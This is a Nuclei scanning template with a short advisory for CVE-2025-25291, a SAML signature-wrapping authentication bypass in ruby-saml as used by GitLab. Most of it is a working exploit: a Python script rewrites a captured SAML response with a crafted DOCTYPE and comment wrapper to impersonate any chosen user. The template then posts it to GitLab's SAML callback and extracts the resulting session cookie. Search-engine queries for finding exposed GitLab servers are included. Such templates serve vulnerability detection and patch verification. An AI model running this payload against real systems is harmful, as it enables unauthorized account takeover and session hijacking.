ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue.
PoC代码[已公开]
id: CVE-2025-25291
info:
name: GitLab - SAML Authentication Bypass
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
ruby-saml provides security assertion markup language (SAML) single sign-on (SSO) for Ruby. An authentication bypass vulnerability was found in ruby-saml prior to versions 1.12.4 and 1.18.0 due to a parser differential. ReXML and Nokogiri parse XML differently; the parsers can generate entirely different document structures from the same XML input. That allows an attacker to be able to execute a Signature Wrapping attack. This issue may lead to authentication bypass. Versions 1.12.4 and 1.18.0 fix the issue.
remediation: |
This vulnerability is fixed in 1.17.0 and 1.12.3.
reference:
- https://portswigger.net/research/saml-roulette-the-hacker-always-wins
- https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/
- https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released
- https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials
- https://github.com/SAML-Toolkits/ruby-saml/commit/e76c5b36bac40aedbf1ba7ffaaf495be63328cd9
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.3
cve-id: CVE-2025-25291
cwe-id: CWE-347
epss-score: 0.23993
epss-percentile: 0.95835
metadata:
verified: true
vendor: gitlab
product: gitlab
shodan-query:
- http.title:"gitlab"
- cpe:"cpe:2.3:a:gitlab:gitlab"
- http.html:"gitlab enterprise edition"
- http.html:"gitlab-ci.yml"
fofa-query:
- body="gitlab enterprise edition"
- body="gitlab-ci.yml"
- title="gitlab"
google-query: intitle:"gitlab"
tags: cve,cve2025,saml,auth-bypass,gitlab,code
code:
- engine:
- py
- python3 # requires python to be pre-installed on system running nuclei
source: |
import os,re
import base64
import urllib.parse
saml_response = os.getenv('SAMLResponse')
username = os.getenv('username')
saml_resp = base64.b64decode(urllib.parse.unquote(saml_response))
if not username:
username='admin@example.com'
prefix = '''<!DOCTYPE foo SYSTEM 'x" [<!ATTLIST Signature xmlns CDATA #FIXED "http://www.w3.org/2000/09/xmldsig#" xmlns CDATA "block">]><!-- '>'''
pos = saml_resp.find(b'?>') + 2
saml_resp_mod = saml_resp[pos:]
saml_resp_mod = prefix + saml_resp_mod[:-17].decode() + "<![CDATA[-->" + saml_resp_mod[:-17].decode() + "<!--]]>--></samlp:Response>"
saml_resp_mod = re.sub(r'(<saml:NameID[^>]*>)[^<]+(</saml:NameID>)', rf'\1{username}\2', saml_resp_mod, count=1)
saml_resp_mod = re.sub(r'(<saml:Attribute Name="email"[^>]*>\s*<saml:AttributeValue[^>]*>)[^<]+(</saml:AttributeValue>)', rf'\1{username}\2', saml_resp_mod, count=1)
print(urllib.parse.quote(base64.b64encode(saml_resp_mod.encode())))
http:
- raw:
- |
POST /users/auth/saml/callback HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
RelayState=undefined&SAMLResponse={{code_response}}
matchers:
- type: dsl
dsl:
- 'contains(header,"known_sign_in")'
- 'status_code == 302'
condition: and
extractors:
- type: kval
kval:
- _gitlab_session
# digest: 4b0a00483046022100cee26791c080ad505692b67cdc6d47884cc1913bae789949a7a676c87ea8e497022100b5c3a9bf284e96ef73f36a5d7c027607d65966916f27f8727e29c1c8882ba331:922c64590222798bb761d5b6d8e72950